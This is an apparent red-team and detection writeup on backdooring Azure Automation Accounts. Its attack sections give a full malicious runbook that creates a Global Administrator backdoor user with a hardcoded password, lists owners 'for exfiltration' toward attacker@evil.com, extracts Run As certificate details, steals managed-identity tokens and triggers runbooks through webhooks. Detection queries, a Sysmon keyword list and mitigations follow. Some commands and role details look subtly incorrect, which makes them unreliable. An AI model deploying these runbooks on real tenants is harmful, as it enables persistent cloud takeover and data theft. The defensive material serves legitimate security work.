| Attribute | Details |
|---|---|
| Technique ID | PERSIST-ACCT-004 |
| Technique Name | Azure Automation Account Persistence |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Related Tactics | Persistence (TA0003), Defense Evasion (TA0005), Execution (TA0002) |
| Platforms | Entra ID (Azure AD), Azure, Hybrid Environments |
| Severity | CRITICAL |
| CVE | CVE-2025-29827 (Improper Authorization in Azure Automation) |
| Technique Status | ACTIVE – Verified working in 2025; targets Run As accounts and Managed Identities |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure subscription versions; particularly dangerous with V2 Automation accounts and custom runbooks |
| Patched In | Not patched as feature – Requires proper RBAC configuration and monitoring. Microsoft has released detection capabilities in Defender for Cloud. |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Automation Accounts are cloud-based automation services that execute runbooks (PowerShell or Python scripts) on a scheduled basis or via webhooks. When an Azure Automation Account is configured with a “Run As Account” (a service principal with a certificate), that service principal is automatically assigned Contributor role on the subscription—granting near-complete control over Azure resources. An attacker who compromises an Azure subscription and gains access to an Automation Account can:
This attack is particularly dangerous because:
Attack Surface: Azure Automation Accounts with Run As accounts enabled; Automation Account job history; runbook execution logs; service principal credentials stored in the account.
Business Impact: Complete cloud infrastructure takeover with persistent backdoor. An attacker can deploy ransomware across all VMs, exfiltrate databases, modify Azure AD configuration, delete backups, or establish lateral movement to on-premises infrastructure via Hybrid Workers.
Technical Context: Exploitation requires initial Azure subscription access (stolen credentials, lateral movement, etc.). Once inside, creating a malicious runbook takes < 5 minutes. The attack leaves audit trail (runbook creation, job execution) but is easily missed without specific Log Analytics queries. The Run As certificate provides long-term access independent of the original compromise vector.
| Framework | Control / ID | Description | |—|—|—| | CIS Azure Benchmark | 2.2.1 | Ensure that Automation Account Manage-as Identifier is not enabled; disable if present | | CISA SCuBA | AC-2(j) | Service account access – Minimize privileges for automation accounts; enforce certificate rotation | | NIST 800-53 | AC-3, SC-7 | Access Control, Boundary Protection – Restrict automation account scope; implement network boundaries | | GDPR | Art. 32, 33 | Security of Processing; Incident Notification – Automation can access PII; incidents must be reported | | PCI-DSS | 2.2.1, 7.1 | Account Access – Disable unnecessary accounts; grant minimum required privileges | | SOC 2 | CC6.2 | Logical Access – Service account credentials must be rotated and monitored | | Azure Security Benchmark | AM-2 | Service Principal Management – Restrict app/service principal permissions to least privilege | | ISO 27001 | A.9.2.1, A.9.2.5 | Access Management; Service Account Management – Control and monitor service account access |
az command)Az module, Version 7.0+)Supported Versions:
Prerequisites for Attack:
# List Automation Accounts
az automation account list --resource-group <ResourceGroup> --output json
# Or using Azure PowerShell
Get-AzAutomationAccount
What to Look For:
# Get Run As Account details
az automation account list --query "[].{Name:name, RunAsAccount:systemAssignedIdentity}"
# Using PowerShell
Get-AzAutomationAccount | Select-Object -Property Name, AutomationAccountName, SubscriptionId
What to Look For:
systemAssignedIdentity = null → No managed identity (older V1 account)systemAssignedIdentity = present → Managed identity enabled (V2 account)# List all runbooks
az automation runbook list --automation-account-name <AutomationAccountName> --resource-group <ResourceGroup>
# Using PowerShell
Get-AzAutomationRunbook -AutomationAccountName <AccountName> -ResourceGroupName <RGName>
What to Look For:
# Get Run As Account certificate details
az automation certificate list --automation-account-name <AccountName> --resource-group <ResourceGroup>
# Using PowerShell
Get-AzAutomationCertificate -AutomationAccountName <AccountName> -ResourceGroupName <RGName>
What to Look For:
Supported Versions: All Azure Automation Accounts (V1, V2)
Objective: Access the target Automation Account in Azure Portal.
Steps:
portal.azure.com)Expected Output:
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Create a runbook that grants persistent access (create backdoor user, export credentials, etc.).
Command (PowerShell):
# Malicious Runbook Code - Save as PowerShell Runbook
param(
[string]$TenantId = "",
[string]$SubscriptionId = "",
[string]$ExfiltrateTo = "attacker@evil.com"
)
# Get the Run As Account credentials (automatically available in runbook context)
$runAsConnection = Get-AutomationConnection -Name "AzureRunAsConnection"
# Authenticate using the Run As connection
Add-AzAccount -ServicePrincipal `
-TenantId $runAsConnection.TenantId `
-ApplicationId $runAsConnection.ApplicationId `
-CertificateThumbprint $runAsConnection.CertificateThumbprint
# Now execute malicious operations with Contributor privileges
Write-Output "Authenticated as service principal: $($runAsConnection.ApplicationId)"
# Example 1: Create a backdoor admin user in Entra ID
$BackdoorPassword = ConvertTo-SecureString "B@ckd00r!2025" -AsPlainText -Force
$BackdoorUser = New-AzADUser -DisplayName "Support User" `
-UserPrincipalName "support.user@yourdomain.onmicrosoft.com" `
-Password $BackdoorPassword `
-AccountEnabled $true
Write-Output "Backdoor user created: $($BackdoorUser.ObjectId)"
# Example 2: Add backdoor user to Global Admin role
$GlobalAdminRole = Get-AzRoleDefinition | Where-Object { $_.Name -eq "Global Administrator" }
New-AzRoleAssignment -ObjectId $BackdoorUser.ObjectId `
-RoleDefinitionId $GlobalAdminRole.Id `
-Scope "/subscriptions/$SubscriptionId"
Write-Output "Backdoor user added to Global Administrator role"
# Example 3: Export subscription owner credentials
$Owners = Get-AzRoleAssignment -RoleDefinitionName "Owner"
foreach ($Owner in $Owners) {
Write-Output "Owner: $($Owner.DisplayName), ObjectId: $($Owner.ObjectId)"
}
# Example 4: List all resources in subscription (for exfiltration)
$AllResources = Get-AzResource
$AllResources | Select-Object Name, ResourceType, Location | Export-Csv -Path "/tmp/resources.csv"
Write-Output "Exfiltration complete; $($AllResources.Count) resources enumerated"
Expected Output (Runbook Execution):
Authenticated as service principal: <Application-ID>
Backdoor user created: <ObjectId>
Backdoor user added to Global Administrator role
Owner: John Admin, ObjectId: <ObjectId>
...
Exfiltration complete; 47 resources enumerated
What This Means:
OpSec & Evasion:
Troubleshooting:
New-AzADUser : Insufficient privileges to complete the operation
Get-AutomationConnection : Cannot find automation connection
References & Proofs:
Objective: Make the runbook active and executable.
Steps (Azure Portal):
Alternative (Azure CLI):
az automation runbook publish --automation-account-name <AccountName> `
--resource-group <ResourceGroup> `
--name <RunbookName>
What This Means:
Objective: Allow remote triggering of the runbook without portal access; ideal for persistence.
Steps (Azure Portal):
Important: The webhook URL is displayed ONLY ONCE. Copy it immediately!
Triggering Webhook (from attacker machine):
# HTTP POST to webhook URL
curl -X POST https://s13events.azure-automation.net/webhooks?token=<TOKEN> \
-H "Content-Type: application/json" \
-d '{"RunbookName":"YourRunbookName","Parameters":{}}'
What This Means:
Objective: Extract the Run As Account certificate to authenticate to Azure outside the Automation Account context.
Command (PowerShell - requires Automation Account Contributor role):
# Get the Run As connection details
$AutomationAccountName = "MyAutomationAccount"
$ResourceGroupName = "MyResourceGroup"
$RunAsConnection = Get-AzAutomationConnection -ResourceGroupName $ResourceGroupName `
-AutomationAccountName $AutomationAccountName `
-Name "AzureRunAsConnection"
$Certificate = Get-AzAutomationCertificate -ResourceGroupName $ResourceGroupName `
-AutomationAccountName $AutomationAccountName `
-Name "AzureRunAsCertificate"
# Export the certificate (thumbprint is used for authentication)
Write-Host "Service Principal App ID: $($RunAsConnection.ApplicationId)"
Write-Host "Tenant ID: $($RunAsConnection.TenantId)"
Write-Host "Certificate Thumbprint: $($Certificate.Thumbprint)"
# Now attacker can authenticate outside Automation Account:
$CertificateThumbprint = $Certificate.Thumbprint
$ApplicationId = $RunAsConnection.ApplicationId
$TenantId = $RunAsConnection.TenantId
# Get certificate from local store (if uploaded)
$Cert = Get-ChildItem -Path Cert:\CurrentUser\My\$CertificateThumbprint
# Authenticate to Azure using certificate
Add-AzAccount -ServicePrincipal `
-CertificateThumbprint $CertificateThumbprint `
-ApplicationId $ApplicationId `
-TenantId $TenantId
# Now attacker has persistent Azure access!
What This Means:
Objective: If the Automation Account uses Managed Identity instead of Run As, abuse it for persistence.
# Runbook running under Managed Identity
# Managed Identity token is automatically available
$response = Invoke-WebRequest `
-Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com" `
-Method GET `
-Headers @{Metadata="true"}
$content = $response.Content | ConvertFrom-Json
$AccessToken = $content.access_token
# Use token to make authenticated API calls
$headers = @{Authorization = "Bearer $AccessToken"}
# Example: Create a new role assignment (grant Contributor to backdoor service principal)
$BackdoorSpObjectId = "<ObjectId-of-backdoor-sp>"
$payload = @{
properties = @{
roleDefinitionId = "/subscriptions/<SubscriptionId>/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c" # Contributor role
principalId = $BackdoorSpObjectId
}
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://management.azure.com/subscriptions/<SubscriptionId>/providers/Microsoft.Authorization/roleAssignments/<RoleAssignmentId>?api-version=2021-04-01-preview" `
-Method PUT `
-Headers $headers `
-Body $payload
URL: Azure PowerShell GitHub
Version: 7.0+ required for Automation Account operations
Installation:
Install-Module -Name Az -Repository PSGallery -Force
Key Commands:
# List Automation Accounts
Get-AzAutomationAccount
# Get runbooks
Get-AzAutomationRunbook -AutomationAccountName $AccountName -ResourceGroupName $RGName
# Create runbook
New-AzAutomationRunbook -Name "MyRunbook" -Type PowerShell -AutomationAccountName $AccountName -ResourceGroupName $RGName
# Publish runbook
Publish-AzAutomationRunbook -Name "MyRunbook" -AutomationAccountName $AccountName -ResourceGroupName $RGName
# Start runbook job
Start-AzAutomationRunbook -Name "MyRunbook" -AutomationAccountName $AccountName -ResourceGroupName $RGName
# Get job output
Get-AzAutomationJobOutput -Id $JobId -ResourceGroupName $RGName -AutomationAccountName $AccountName
URL: Azure CLI Documentation
Installation: az login then az automation
# List automation accounts
az automation account list --resource-group <RG>
# Create runbook
az automation runbook create --automation-account-name <Account> --resource-group <RG> \
--name "MyRunbook" --type PowerShell --runtime-version "7.2"
# Publish runbook
az automation runbook publish --automation-account-name <Account> --resource-group <RG> --name "MyRunbook"
# Create webhook
az automation webhook create --automation-account-name <Account> --resource-group <RG> \
--runbook-name "MyRunbook" --name "MyHook" --is-enabled true
# List job history
az automation job list --automation-account-name <Account> --resource-group <RG>
Rule Configuration:
AzureActivityazure:aadaudit, azure:resourcemanagementoperationName, callerIpAddress, propertiesSPL Query:
index=AzureActivity operationName IN ("Microsoft.Automation/automationAccounts/runbooks/write",
"Microsoft.Automation/automationAccounts/runbooks/delete")
| stats count by OperationName, Caller, properties.targetResource.name, TimeGenerated
| where count > 0
| convert ctime(TimeGenerated)
| sort TimeGenerated desc
What This Detects:
Manual Configuration:
Alert when number of events is greater than 0Rule Configuration:
AzureActivityOperationName, Caller, propertiesKQL Query:
AzureActivity
| where OperationName in ("Microsoft.Automation/automationAccounts/runbooks/write",
"Microsoft.Automation/automationAccounts/runbooks/delete")
| extend RunbookName = tostring(properties.targetResource.name)
| extend CallerTenant = tostring(properties.requestbody.properties.tenantId)
| project TimeGenerated, OperationName, Caller, RunbookName, CallerTenant, CallerIpAddress, Status
| sort by TimeGenerated desc
What This Detects:
Manual Configuration (Azure Portal):
Automation Runbook Creation DetectionHigh1 hour1 dayNote: Automation Account logging is cloud-based (Azure Activity Log / AzureActivity table). No Windows Event Log entries are generated locally. Use Microsoft Sentinel or Azure Monitor instead.
Note: Automation Accounts are cloud-only; no local Sysmon activity. However, if attacker uses Hybrid Runbook Worker (on-premises execution), Sysmon can detect PowerShell script execution:
Sysmon Config (Detect Hybrid Worker Malicious Scripts):
<Sysmon schemaversion="4.70">
<EventFiltering>
<!-- Detect PowerShell execution from HybridWorker -->
<ProcessCreate onmatch="include">
<ParentImage condition="contains">AzureAutomationHybridWorker</ParentImage>
<CommandLine condition="contains any">
New-AzADUser;
New-AzRoleAssignment;
Remove-AzResource;
Export-AzStorageAccountKey;
ConvertFrom-Json;
FromBase64String
</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Alert Name: Suspicious automation runbook detected
Severity: Critical
Description: Alerts when a runbook performs privileged operations like creating admin users or exporting credentials
Applies To: Subscriptions with Defender for Cloud enabled
Manual Configuration:
Command:
Search-UnifiedAuditLog -Operations "Microsoft.Automation/automationAccounts/runbooks/write" `
-StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
| Select-Object TimeCreated, UserIds, Operations, ObjectId
What to Look For:
Applies To Versions: All Azure subscriptions
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Get Automation Account service principal
$AutomationAccount = Get-AzAutomationAccount -ResourceGroupName <RG> -Name <AccountName>
$RunAsConnection = Get-AzAutomationConnection -ResourceGroupName <RG> `
-AutomationAccountName $AutomationAccount.AutomationAccountName `
-Name "AzureRunAsConnection"
$ServicePrincipal = Get-AzADServicePrincipal -ApplicationId $RunAsConnection.ApplicationId
# Remove Contributor role
Remove-AzRoleAssignment -ObjectId $ServicePrincipal.Id `
-RoleDefinitionName "Contributor" `
-Scope "/subscriptions/<SubscriptionId>"
# Assign specific role (example: Virtual Machine Contributor)
New-AzRoleAssignment -ObjectId $ServicePrincipal.Id `
-RoleDefinitionName "Virtual Machine Contributor" `
-Scope "/subscriptions/<SubscriptionId>"
Write-Host "✓ Automation Account service principal privileges reduced to Virtual Machine Contributor"
Verification:
# Verify new role assignment
Get-AzRoleAssignment -ObjectId $ServicePrincipal.Id
Manual Steps:
PowerShell Alternative:
# Rotate certificate (creates new cert, valid for 1 year)
Update-AzAutomationAzModule -ResourceGroupName <RG> -AutomationAccountName <AccountName>
# Note: This updates the Azure module AND renews the cert
Verification:
# Check certificate expiration
Get-AzAutomationCertificate -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Name "AzureRunAsCertificate" |
Select-Object Thumbprint, ExpiryTime
Manual Steps (Azure Portal):
PowerShell Continuous Audit:
# Export job history to CSV for analysis
$Jobs = Get-AzAutomationJob -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-StartTime (Get-Date).AddDays(-7)
$Jobs | Select-Object RunbookName, Status, StartTime, EndTime, CreatedBy |
Export-Csv -Path "C:\Audit\AutomationJobs_$(Get-Date -Format 'yyyyMM').csv"
# Review job output for suspicious activity
foreach ($Job in $Jobs) {
$Output = Get-AzAutomationJobOutput -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Id $Job.JobId
if ($Output.Summary -match "created|deleted|modified|export|credential") {
Write-Warning "Suspicious job: $($Job.RunbookName) - Review output"
}
}
Manual Steps:
Result: Without a Run As Account, runbooks cannot execute with privileged permissions (unless using Managed Identity with restricted scope).
Manual Steps:
# Runbook using Managed Identity (more secure than Run As certificate)
$AccessToken = (Get-AzAccessToken -ResourceUrl "https://management.azure.com").Token
$headers = @{Authorization = "Bearer $AccessToken"}
# Limited to resources where Managed Identity has RBAC roles assigned
Advantage: Managed Identity credentials are automatically rotated by Azure; no manual certificate rotation needed.
Manual Steps:
Get-AzAutomationWebhook -AutomationAccountName <AccountName> -ResourceGroupName <RG>
Remove-AzAutomationWebhook -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Name <WebhookName>
Cloud Logs (Azure Activity Log / AzureActivity table):
Application Logs (inside runbook output):
# Stop all current runbook jobs
$RunningJobs = Get-AzAutomationJob -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Filter { Status -eq "Running" }
foreach ($Job in $RunningJobs) {
Stop-AzAutomationJob -Id $Job.JobId -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> -Force
Write-Host "✓ Stopped job: $($Job.RunbookName)"
}
# Suspend malicious runbook (prevents future execution)
Suspend-AzAutomationRunbook -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Name "<MaliciousRunbookName>"
Write-Host "✓ Runbook suspended"
# Delete the runbook permanently
Remove-AzAutomationRunbook -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Name "<MaliciousRunbookName>" `
-Force
Write-Host "✓ Malicious runbook deleted"
# List all webhooks
$Webhooks = Get-AzAutomationWebhook -AutomationAccountName <AccountName> -ResourceGroupName <RG>
foreach ($Webhook in $Webhooks) {
# Review webhook before deleting
if ($Webhook.Name -match "Maintenance|Hook|Update") {
Write-Warning "Review webhook: $($Webhook.Name) - Created: $($Webhook.CreationTime)"
# If suspicious, delete it
Remove-AzAutomationWebhook -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Name $Webhook.Name
Write-Host "✓ Deleted webhook: $($Webhook.Name)"
}
}
# Regenerate the Run As Account certificate
Update-AzAutomationAzModule -ResourceGroupName <RG> -AutomationAccountName <AccountName>
Write-Host "✓ Run As Account certificate rotated"
# Verify the new certificate
Get-AzAutomationCertificate -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Name "AzureRunAsCertificate" |
Select-Object Thumbprint, ExpiryTime
# Export all job history for the past 30 days
$Jobs = Get-AzAutomationJob -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-StartTime (Get-Date).AddDays(-30)
$Jobs | Select-Object RunbookName, Status, StartTime, EndTime, CreatedBy |
Export-Csv -Path "C:\Evidence\AutomationJobs_$(Get-Date -Format 'yyyyMM').csv"
# Export job output (contains what the runbook executed)
foreach ($Job in $Jobs) {
$Output = Get-AzAutomationJobOutput -ResourceGroupName <RG> `
-AutomationAccountName <AccountName> `
-Id $Job.JobId
$Output.Summary | Out-File -Append -FilePath "C:\Evidence\JobOutputs_$($Job.Id).txt"
}
Write-Host "✓ Evidence collected to C:\Evidence\"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker steals Azure credentials |
| 2 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Escalate from user to Contributor role |
| 3 | Persistence (Current) | [PERSIST-ACCT-004] | Create malicious runbook in Automation Account for persistent backdoor |
| 4 | Execution | [EXEC-NATIVE] PowerShell Runbook Execution | Runbook executes with full subscription privileges |
| 5 | Impact | [IMP-RANSOMWARE] VM Encryption/Deletion | Use automation to encrypt all VMs or delete backups |
# Create malicious runbook and webhook (one command set)
New-AzAutomationRunbook -Name "Maintenance" -Type PowerShell -AutomationAccountName <AA> -ResourceGroupName <RG> -Force
Publish-AzAutomationRunbook -Name "Maintenance" -AutomationAccountName <AA> -ResourceGroupName <RG>
New-AzAutomationWebhook -RunbookName "Maintenance" -Name "Hook1" -AutomationAccountName <AA> -ResourceGroupName <RG> -IsEnabled $true
Get-AzAutomationWebhook -AutomationAccountName <AA> -ResourceGroupName <RG> | Select-Object Name, CreationTime, ExpiryTime
Get-AzAutomationRunbook -AutomationAccountName <AA> -ResourceGroupName <RG> | Select-Object Name, CreationTime, State
# Delete all runbooks and webhooks
Get-AzAutomationWebhook -AutomationAccountName <AA> -ResourceGroupName <RG> |
Remove-AzAutomationWebhook -AutomationAccountName <AA> -ResourceGroupName <RG>
Get-AzAutomationRunbook -AutomationAccountName <AA> -ResourceGroupName <RG> |
Remove-AzAutomationRunbook -AutomationAccountName <AA> -ResourceGroupName <RG> -Force